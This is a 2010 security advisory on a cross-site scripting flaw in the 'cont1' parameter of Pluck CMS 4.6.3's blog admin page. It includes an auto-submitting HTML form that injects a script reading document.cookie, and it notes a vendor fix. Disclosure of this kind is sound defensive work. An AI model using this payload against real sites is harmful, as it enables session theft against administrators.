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Cross-site Scripting (XSS) Vulnerability in Pluck

Advisory ID:HTB22610
Product:Pluck
Vendor:Pluck Team
Vulnerable Versions:4.6.3 and probably prior
Tested Version:4.6.3
Advisory Publication:September 15, 2010 [without technical details]
Vendor Notification:September 15, 2010
Public Disclosure:September 29, 2010
Latest Update:September 18, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Pluck which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Pluck
The vulnerability exists due to input sanitation error in the "cont1" parameter in data/modules/blog/pages_admin/newpost.php. A remote attacker can send a specially crafted HTTP request to /admin.php script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface.
Exploitation example:
<form action="http://host/admin.php?module=blog&page=newpost" method="post" name="main" >
<input type="hidden" name="cont1" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="cont2" value="no category" />
<input type="hidden" name="cont3" value="" />
<input type="submit" id="btn" name="Submit" value="Save" />
</form>
<script>
document.getElementById('btn').click();
</script>

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Solution:
Upgrade to the most recent version
More info available: http://www.pluck-cms.org/?file=about/release-notes


References:
[1] High-Tech Bridge Advisory HTB22610 - https://www.immuniweb.com/advisory/HTB22610 - Cross-site Scripting (XSS) Vulnerability in Pluck
[2] Pluck - pluck-cms.org - Pluck is your small and simple content management system, written in php.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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